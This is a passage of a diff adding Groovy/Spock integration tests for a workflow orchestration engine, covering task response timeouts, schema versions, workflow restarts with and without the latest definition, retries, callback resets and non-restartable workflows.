'task_rt' + polledTaskRtTry1.workflowInstanceId == workflowInstanceId + polledTaskRtTry1.status == Task.Status.IN_PROGRESS + + when: "An additional poll is done wto retrieved another 'task_rt'" + def noTaskAvailable = workflowExecutionService.poll('task_rt', 'task1.integration.worker.testTimeout') + + then: "Ensure that there is no additional 'task_rt' available to poll" + !noTaskAvailable + + when: "The processing of the polled task takes more time than the response time out" + // Sleep just past responseTimeoutSeconds (10s) so decide() reliably observes the timeout. + // The +1s margin avoids a race where Thread.sleep returns at exactly the boundary. + Thread.sleep(11000) + + then: "Expect a new task to be added to the queue in place of the timed out task" + // Drive decide() inside the await so we keep re-evaluating until the workflow state and + // the queue agree. A single decide() before the await can lose the timeout window if a + // background sweeper has just touched the workflow, leaving the queue out of sync. + await().atMost(30, TimeUnit.SECONDS).until { + workflowExecutor.decide(workflowInstanceId) + queueDAO.getSize('task_rt') == 1 + } + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].status == Task.Status.TIMED_OUT + tasks[1].status == Task.Status.SCHEDULED + } + + when: "The task_rt is polled again and the task is set to be called back after 2 seconds" + def polledTaskRtTry2 = workflowExecutionService.poll('task_rt', 'task1.integration.worker.testTimeout') + polledTaskRtTry2.callbackAfterSeconds = 2 + polledTaskRtTry2.status = Task.Status.IN_PROGRESS + workflowExecutionService.updateTask(new TaskResult(polledTaskRtTry2)) + + then: "verify that the polled task is not null" + polledTaskRtTry2 + + and: "verify the state of the workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].status == Task.Status.SCHEDULED + } + + when: "induce the time for the call back for the task to expire and run the un ack process" + Thread.sleep(2010) + queueDAO.processUnacks(polledTaskRtTry2.taskDefName) + + and: "run the decide process on the workflow" + workflowExecutor.decide(workflowInstanceId) + + and: "poll for the task and then complete the task 'task_rt' " + def pollAndCompleteTaskTry3 = workflowTestUtil.pollAndCompleteTask('task_rt', 'task1.integration.worker.testTimeout', ['op': 'task1.done']) + + then: 'Verify that the task was polled ' + verifyPolledAndAcknowledgedTask(pollAndCompleteTaskTry3) + + when: "The next task of the workflow is polled and then completed" + def polledIntegrationTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker.testTimeout') + + then: "Verify that 'integration_task_2' is polled and acked" + verifyPolledAndAcknowledgedTask(polledIntegrationTask2Try1) + + and: "verify that the workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + } + } + + def "Test if the workflow definitions with and without schema version can be registered"() { + given: "A workflow definition with no schema version" + def workflowDef1 = new WorkflowDef() + workflowDef1.name = 'Test_schema_version1' + workflowDef1.version = 1 + workflowDef1.ownerEmail = "test@harness.com" + + and: "A new workflow task is created" + def workflowTask = new WorkflowTask() + workflowTask.name = 'integration_task_1' + workflowTask.taskReferenceName = 't1' + workflowDef1.tasks.add(workflowTask) + + and: "The workflow definition with no schema version is saved" + metadataService.updateWorkflowDef(workflowDef1) + + and: "A workflow definition with a schema version is created" + def workflowDef2 = new WorkflowDef() + workflowDef2.name = 'Test_schema_version2' + workflowDef2.version = 1 + workflowDef2.schemaVersion = 2 + workflowDef2.ownerEmail = "test@harness.com" + workflowDef2.tasks.add(workflowTask) + + and: "The workflow definition with schema version is persisted" + metadataService.updateWorkflowDef(workflowDef2) + + when: "The persisted workflow definitions are retrieved by their name" + def foundWorkflowDef1 = metadataService.getWorkflowDef(workflowDef1.getName(), 1) + def foundWorkflowDef2 = metadataService.getWorkflowDef(workflowDef2.getName(), 1) + + then: "Ensure that the schema version is by default 2" + foundWorkflowDef1 + foundWorkflowDef1.schemaVersion == 2 + foundWorkflowDef2 + foundWorkflowDef2.schemaVersion == 2 + } + + def "Test Simple workflow restart without using the latest definition"() { + setup: "Register a task definition with no retries" + def persistedTask1Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_1').get() + def modifiedTaskDefinition = new TaskDef(persistedTask1Definition.name, persistedTask1Definition.description, + persistedTask1Definition.ownerEmail, 0, persistedTask1Definition.timeoutSeconds, + persistedTask1Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTaskDefinition) + + when: "Get the workflow definition associated with the simple workflow" + WorkflowDef workflowDefinition = metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + + then: "Ensure that there is a workflow definition" + workflowDefinition + workflowDefinition.failureWorkflow + StringUtils.isNotBlank(workflowDefinition.failureWorkflow) + + when: "Start a simple workflow with non null params" + def correlationId = 'integration_test_1' + UUID.randomUUID().toString() + def workflowInput = new HashMap() + String inputParam1 = 'p1 value' + workflowInput['param1'] = inputParam1 + workflowInput['param2'] = 'p2 value' + + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, workflowInput, + null) + + then: "A workflow instance has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + } + + when: "poll the task that is queued and fail the task" + def polledIntegrationTask1Try1 = workflowTestUtil.pollAndFailTask('integration_task_1', 'task1.integration.worker', 'failed..') + + then: "The workflow ends up in a failed state" + verifyPolledAndAcknowledgedTask(polledIntegrationTask1Try1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'integration_task_1' + } + + when: "Rewind the workflow which is in the failed state without the latest definition" + workflowExecutor.restart(workflowInstanceId, false) + + then: "verify that the rewound workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + } + + when: "Poll for the 'integration_task_1' " + def polledIntegrationTask1Try2 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + + then: "verify that the task is polled and the workflow is in a running state" + verifyPolledAndAcknowledgedTask(polledIntegrationTask1Try2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'integration_task_1' + } + + when: + def polledIntegrationTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker') + + then: + verifyPolledAndAcknowledgedTask(polledIntegrationTask2Try1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + } + + cleanup: + metadataService.updateTaskDef(persistedTask1Definition) + } + + def "Test Simple workflow restart with the latest definition"() { + + setup: "Register a task definition with no retries" + def persistedTask1Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_1').get() + def modifiedTaskDefinition = new TaskDef(persistedTask1Definition.name, persistedTask1Definition.description, + persistedTask1Definition.ownerEmail, 0, persistedTask1Definition.timeoutSeconds, + persistedTask1Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTaskDefinition) + + when: "Get the workflow definition associated with the simple workflow" + WorkflowDef workflowDefinition = metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + + then: "Ensure that there is a workflow definition" + workflowDefinition + workflowDefinition.failureWorkflow + StringUtils.isNotBlank(workflowDefinition.failureWorkflow) + + when: "Start a simple workflow with non null params" + def correlationId = 'integration_test_1' + UUID.randomUUID().toString() + def workflowInput = new HashMap() + String inputParam1 = 'p1 value' + workflowInput['param1'] = inputParam1 + workflowInput['param2'] = 'p2 value' + + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, workflowInput, + null) + + then: "A workflow instance has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + } + + when: "poll the task that is queued and fail the task" + def polledIntegrationTask1Try1 = workflowTestUtil.pollAndFailTask('integration_task_1', 'task1.integration.worker', 'failed..') + + then: "the workflow ends up in a failed state" + verifyPolledAndAcknowledgedTask(polledIntegrationTask1Try1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'integration_task_1' + } + + when: "A new version of the workflow definition is registered" + WorkflowTask workflowTask = new WorkflowTask() + workflowTask.name = 'integration_task_20' + workflowTask.taskReferenceName = 'task_added' + workflowTask.workflowTaskType = TaskType.SIMPLE + + workflowDefinition.tasks.add(workflowTask) + workflowDefinition.version = 2 + metadataService.updateWorkflowDef(workflowDefinition) + + and: "rewind/restart the workflow with the latest workflow definition" + workflowExecutor.restart(workflowInstanceId, true) + + then: "verify that the rewound workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + } + + when: "Poll and complete the 'integration_task_1' " + def polledIntegrationTask1Try2 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + + then: "verify that the task is polled and the workflow is in a running state" + verifyPolledAndAcknowledgedTask(polledIntegrationTask1Try2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'integration_task_1' + } + + when: "Poll and complete the 'integration_task_2' " + def polledIntegrationTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker') + + then: "verify that the task is polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledIntegrationTask2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + } + + when: "Poll and complete the 'integration_task_20' " + def polledIntegrationTask20Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_20', 'task1.integration.worker') + + then: "verify that the task is polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledIntegrationTask20Try1) + def polledIntegrationTask20 = polledIntegrationTask20Try1[0] as Task + polledIntegrationTask20.workflowInstanceId == workflowInstanceId + polledIntegrationTask20.referenceTaskName == 'task_added' + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + } + + cleanup: + metadataService.updateTaskDef(persistedTask1Definition) + metadataService.unregisterWorkflowDef(workflowDefinition.getName(), 2) + } + + def "Test simple workflow with task retries"() { + setup: "Change the task definition to ensure that it has retries and delay between retries" + def integrationTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTaskDefinition = new TaskDef(integrationTask2Definition.name, integrationTask2Definition.description, + integrationTask2Definition.ownerEmail, 3, integrationTask2Definition.timeoutSeconds, + integrationTask2Definition.responseTimeoutSeconds) + modifiedTaskDefinition.retryDelaySeconds = 2 + metadataService.updateTaskDef(modifiedTaskDefinition) + + when: "A new simple workflow is started" + def correlationId = 'integration_test_1' + def workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, workflowInput, + null) + + then: "verify that the workflow has started" + workflowInstanceId + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + workflow.status == Workflow.WorkflowStatus.RUNNING + + when: "Poll for the first task and complete the task" + def polledIntegrationTask1 = workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + polledIntegrationTask1.status = Task.Status.COMPLETED + def polledIntegrationTask1Output = "task1.output -> " + polledIntegrationTask1.inputData['p1'] + "." + polledIntegrationTask1.inputData['p2'] + polledIntegrationTask1.outputData['op'] = polledIntegrationTask1Output + workflowExecutionService.updateTask(new TaskResult(polledIntegrationTask1)) + + then: "verify that the 'integration_task_1' is polled and completed" + with(polledIntegrationTask1) { + inputData.containsKey('p1') + inputData.containsKey('p2') + inputData['p1'] == 'p1 value' + inputData['p2'] == 'p2 value' + } + + //Need to figure out how to use expect and where here + when: " 'integration_task_2' is polled and marked as failed for the first time" + Tuple polledAndFailedTaskTry1 = workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failure...0', null, 2) + + then: "verify that the task was polled and the input params of the tasks are as expected" + verifyPolledAndAcknowledgedTask(polledAndFailedTaskTry1, ['tp2': polledIntegrationTask1Output, 'tp1': 'p1 value']) + + when: " 'integration_task_2' is polled and marked as failed for the second time" + Tuple polledAndFailedTaskTry2 = workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failure...0', null, 2) + + then: "verify that the task was polled and the input params of the tasks are as expected" + verifyPolledAndAcknowledgedTask(polledAndFailedTaskTry2, ['tp2': polledIntegrationTask1Output, 'tp1': 'p1 value']) + + when: "'integration_task_2' is polled and marked as completed for the third time" + def polledAndCompletedTry3 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "verify that the task was polled and the input params of the tasks are as expected" + verifyPolledAndAcknowledgedTask(polledAndCompletedTry3, ['tp2': polledIntegrationTask1Output, 'tp1': 'p1 value']) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.FAILED + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[1].taskId == tasks[2].retriedTaskId + tasks[2].taskId == tasks[3].retriedTaskId + failedReferenceTaskNames == ['t2'] as HashSet + failedTaskNames == ['integration_task_2'] as HashSet + } + + cleanup: + metadataService.updateTaskDef(integrationTask2Definition) + } + + def "Test simple workflow with retry at workflow level"() { + setup: "Change the task definition to ensure that it has retries and no delay between retries" + def integrationTask1Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_1').get() + def modifiedTaskDefinition = new TaskDef(integrationTask1Definition.name, integrationTask1Definition.description, + integrationTask1Definition.ownerEmail, 1, integrationTask1Definition.timeoutSeconds, + integrationTask1Definition.responseTimeoutSeconds) + modifiedTaskDefinition.retryDelaySeconds = 0 + metadataService.updateTaskDef(modifiedTaskDefinition) + + when: "Start a simple workflow with non null params" + def correlationId = 'retry_test' + UUID.randomUUID().toString() + def workflowInput = new HashMap() + String inputParam1 = 'p1 value' + workflowInput['param1'] = inputParam1 + workflowInput['param2'] = 'p2 value' + + and: "start a simple workflow with input params" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, workflowInput, + null) + + then: "verify that the workflow has started and the next task is scheduled" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].getInputData().get("p3") == tasks[0].getTaskId() + } + with(metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1)) { + failureWorkflow + StringUtils.isNotBlank(failureWorkflow) + } + + when: "The first task 'integration_task_1' is polled and failed" + Tuple polledAndFailedTask1Try1 = workflowTestUtil.pollAndFailTask('integration_task_1', 'task1.integration.worker', 'failure...0') + + then: "verify that the task was polled and acknowledged and the workflow is still in a running state" + verifyPolledAndAcknowledgedTask(polledAndFailedTask1Try1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].status == Task.Status.FAILED + tasks[1].status == Task.Status.SCHEDULED + tasks[1].getInputData().get("p3") == tasks[1].getTaskId() + } + + when: "The first task 'integration_task_1' is polled and failed for the second time" + Tuple polledAndFailedTask1Try2 = workflowTestUtil.pollAndFailTask('integration_task_1', 'task1.integration.worker', 'failure...0') + + then: "verify that the task was polled and acknowledged and the workflow is still in a running state" + verifyPolledAndAcknowledgedTask(polledAndFailedTask1Try2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].status == Task.Status.FAILED + tasks[1].status == Task.Status.FAILED + } + + when: "The workflow is retried" + workflowExecutor.retry(workflowInstanceId, false) + + then: + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].status == Task.Status.FAILED + tasks[1].status == Task.Status.FAILED + tasks[2].status == Task.Status.SCHEDULED + tasks[2].getInputData().get("p3") == tasks[2].getTaskId() + } + + when: "The 'integration_task_1' task is polled and is completed" + def polledAndCompletedTry3 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task2.integration.worker') + + then: "verify that the task was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTry3) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[2].status == Task.Status.COMPLETED + tasks[3].status == Task.Status.SCHEDULED + } + + when: "The 'integration_task_2' task is polled and is completed" + def polledAndCompletedTaskTry1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "verify that the task was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTaskTry1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[2].status == Task.Status.COMPLETED + tasks[3].status == Task.Status.COMPLETED + failedReferenceTaskNames == ['t1'] as HashSet + failedTaskNames == ['integration_task_1'] as HashSet + } + + cleanup: + metadataService.updateTaskDef(integrationTask1Definition) + } + + def "Test Long running simple workflow"() { + given: "A new simple workflow is started" + def correlationId = 'integration_test_1' + def workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + when: "start a new workflow with the input" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, workflowInput, + null) + + then: "verify that the workflow is in running state and the task queue has an entry for the first task of the workflow" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + } + workflowExecutionService.getTaskQueueSizes(['integration_task_1']).get('integration_task_1') == 1 + + when: "the first task 'integration_task_1' is polled and then sent back with a callBack seconds" + def pollTaskTry1 = workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + pollTaskTry1.outputData['op'] = 'task1.in.progress' + pollTaskTry1.callbackAfterSeconds = 5 + pollTaskTry1.status = Task.Status.IN_PROGRESS + workflowExecutionService.updateTask(new TaskResult(pollTaskTry1)) + + then: "verify that the task is polled and acknowledged" + pollTaskTry1 + + and: "the input data of the data is as expected" + pollTaskTry1.inputData.containsKey('p1') + pollTaskTry1.inputData['p1'] == 'p1 value' + pollTaskTry1.inputData.containsKey('p2') + pollTaskTry1.inputData['p1'] == 'p1 value' + + and: "the task queue reflects the presence of 'integration_task_1' " + workflowExecutionService.getTaskQueueSizes(['integration_task_1']).get('integration_task_1') == 1 + + when: "the 'integration_task_1' task is polled again" + def pollTaskTry2 = workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + + then: "verify that there was no task polled" + !pollTaskTry2 + + when: "the 'integration_task_1' is polled again after a delay of 5 seconds and completed" + Thread.sleep(5000) + def task1Try3Tuple = workflowTestUtil.pollAndCompleteTask('integration_task_1', + 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the task is polled and acknowledged" + verifyPolledAndAcknowledgedTask(task1Try3Tuple, [:]) + + and: "verify that the workflow is updated with the latest task" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'integration_task_1' + tasks[0].outputData['op'] == 'task1.done' + } + + when: "the 'integration_task_1' is polled and completed" + def task2Try1Tuple = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "verify that the task was polled and completed with the expected inputData for the task that was polled" + verifyPolledAndAcknowledgedTask(task2Try1Tuple, ['tp2': 'task1.done', 'tp1': 'p1 value']) + + and: "The workflow is in a completed state and reflects the tasks that are completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'integration_task_1' + } + } + + + def "Test simple workflow when the task's call back after seconds are reset"() { + + given: "A new simple workflow is started" + def correlationId = 'integration_test_1' + def workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + when: "start a new workflow with the input" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, workflowInput, + null) + + then: "verify that the workflow is in running state and the task queue has an entry for the first task of the workflow" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + } + workflowExecutionService.getTaskQueueSizes(['integration_task_1']).get('integration_task_1') == 1 + + when: "the first task 'integration_task_1' is polled and then sent back with a callBack seconds" + def pollTaskTry1 = workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + pollTaskTry1.outputData['op'] = 'task1.in.progress' + pollTaskTry1.callbackAfterSeconds = 3600 + pollTaskTry1.status = Task.Status.IN_PROGRESS + workflowExecutionService.updateTask(new TaskResult(pollTaskTry1)) + + then: "verify that the task is polled and acknowledged" + pollTaskTry1 + + and: "the input data of the data is as expected" + pollTaskTry1.inputData.containsKey('p1') + pollTaskTry1.inputData['p1'] == 'p1 value' + pollTaskTry1.inputData.containsKey('p2') + pollTaskTry1.inputData['p1'] == 'p1 value' + + and: "the task queue reflects the presence of 'integration_task_1' " + workflowExecutionService.getTaskQueueSizes(['integration_task_1']).get('integration_task_1') == 1 + + when: "the 'integration_task_1' task is polled again" + def pollTaskTry2 = workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + + then: "verify that there was no task polled" + !pollTaskTry2 + + when: "the 'integration_task_1' task is polled again" + def pollTaskTry3 = workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + + then: "verify that there was no task polled" + !pollTaskTry3 + + when: "The callbackSeconds of the tasks in progress for the workflow are reset" + workflowExecutor.resetCallbacksForWorkflow(workflowInstanceId) + + and: "the 'integration_task_1' is polled again after all the in progress tasks are reset" + def task1Try4Tuple = workflowTestUtil.pollAndCompleteTask('integration_task_1', + 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the task is polled and acknowledged" + verifyPolledAndAcknowledgedTask(task1Try4Tuple) + + and: "verify that the workflow is updated with the latest task" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'integration_task_1' + tasks[0].outputData['op'] == 'task1.done' + } + + when: "the 'integration_task_1' is polled and completed" + def task2Try1Tuple = workflowTestUtil.pollAndCompleteTask('integration_task_2', + 'task2.integration.worker') + + then: "verify that the task was polled and completed with the expected inputData for the task that was polled" + verifyPolledAndAcknowledgedTask(task2Try1Tuple, ['tp2': 'task1.done', 'tp1': 'p1 value']) + + and: "The workflow is in a completed state and reflects the tasks that are completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'integration_task_1' + } + } + + def "Test non restartable simple workflow"() { + setup: "Change the task definition to ensure that it has no retries and register a non restartable workflow" + def integrationTask1Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_1').get() + def modifiedTaskDefinition = new TaskDef(integrationTask1Definition.name, integrationTask1Definition.description, + integrationTask1Definition.ownerEmail, 0, integrationTask1Definition.timeoutSeconds, + integrationTask1Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTaskDefinition) + + def simpleWorkflowDefinition = metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + simpleWorkflowDefinition.name = INTEGRATION_TEST_WF_NON_RESTARTABLE + simpleWorkflowDefinition.restartable = false + metadataService.updateWorkflowDef(simpleWorkflowDefinition) + + when: "A non restartable workflow is started" + def correlationId = 'integration_test_1' + def workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + def workflowInstanceId = startWorkflow(INTEGRATION_TEST_WF_NON_RESTARTABLE, 1, + correlationId, workflowInput, + null) + + and: "the 'integration_task_1' is polled and failed" + Tuple polledAndFailedTaskTry1 = workflowTestUtil.pollAndFailTask('integration_task_1', + 'task1.integration.worker', 'failure...0') + + then: "verify that the task was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndFailedTaskTry1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'integration_task_1' + } + + when: "The failed workflow is rewound" + workflowExecutor.restart(workflowInstanceId, false) + + and: "The first task 'integration_task_1' is polled and completed" + def task1Try2 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', + ['op': 'task1.done']) + + then: "Verify that the task is polled and acknowledged" + verifyPolledAndAcknowledgedTask(task1Try2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'integration_task_1' + } + + when: "The second task 'integration_task_2' is polled and completed" + def task2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "Verify that the task was polled and acknowledged" + verifyPolledAndAcknowledgedTask(task2Try1, ['tp2': 'task1.done', 'tp1': 'p1 value']) + + and: "The workflow is in a completed state and reflects the tasks that are completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'integration_task_1' + output['o3'] == 'task1.done' + } + + when: "The successfully completed non restartable workflow is rewound" + workflowExecutor.restart(workflowInstanceId, false) + + then: "Ensure that an exception is thrown" + thrown(NotFoundException.class) + + cleanup: "clean up the changes made to the task and workflow definition during start up" + metadataService.updateTaskDef(integrationTask1Definition) + simpleWorkflowDefinition.name = LINEAR_WORKFLOW_T1_T2 + simpleWorkflowDefinition.restartable = true + metadataService.updateWorkflowDef(simpleWorkflowDefinition) + } + + def "Test simple workflow when update task's result with call back after seconds"() { + + given: "A new simple workflow is started" + def correlationId = 'integration_test_1' + def workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + when: "start a new workflow with the input" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, workflowInput, + null) + + then: "verify that the workflow is in running state and the task queue has an entry for the first task of the workflow" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + } + workflowExecutionService.getTaskQueueSizes(['integration_task_1']).get('integration_task_1') == 1 + + when: "the first task 'integration_task_1' is polled and then sent back with no callBack seconds" + def pollTaskTry1 = workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + pollTaskTry1.outputData['op'] = 'task1.in.progress' + pollTaskTry1.status = Task.Status.IN_PROGRESS + workflowExecutionService.updateTask(new TaskResult(pollTaskTry1)) + + then: "verify that the task is polled and acknowledged" + pollTaskTry1 + + and: "the input data of the data is as expected" + pollTaskTry1.inputData.containsKey('p1') + pollTaskTry1.inputData['p1'] == 'p1 value' + pollTaskTry1.inputData.containsKey('p2') + pollTaskTry1.inputData['p1'] == 'p1 value' + + and: "the task gets put back into the queue of 'integration_task_1' immediately for future poll" + workflowExecutionService.getTaskQueueSizes(['integration_task_1']).get('integration_task_1') == 1 + + and: "The task in in SCHEDULED status with workerId reset" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + tasks[0].callbackAfterSeconds == 0 + } + + when: "the 'integration_task_1' task is polled again" + def pollTaskTry2 = workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + pollTaskTry2.outputData['op'] = 'task1.in.progress' + pollTaskTry2.status = Task.Status.IN_PROGRESS + pollTaskTry2.callbackAfterSeconds = 3600 + workflowExecutionService.updateTask(new TaskResult(pollTaskTry2)) + + then: "verify that the task is polled and acknowledged" + pollTaskTry2 + + and: "the task gets put back into the queue of 'integration_task_1' with callbackAfterSeconds delay for future poll" + workflowExecutionService.getTaskQueueSizes(['integration_task_1']).get('integration_task_1') == 1 + + and: "The task in in SCHEDULED status with workerId reset" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + tasks[0].callbackAfterSeconds == pollTaskTry2.callbackAfterSeconds + } + + when: "the 'integration_task_1' task is polled again" + def pollTaskTry3 = 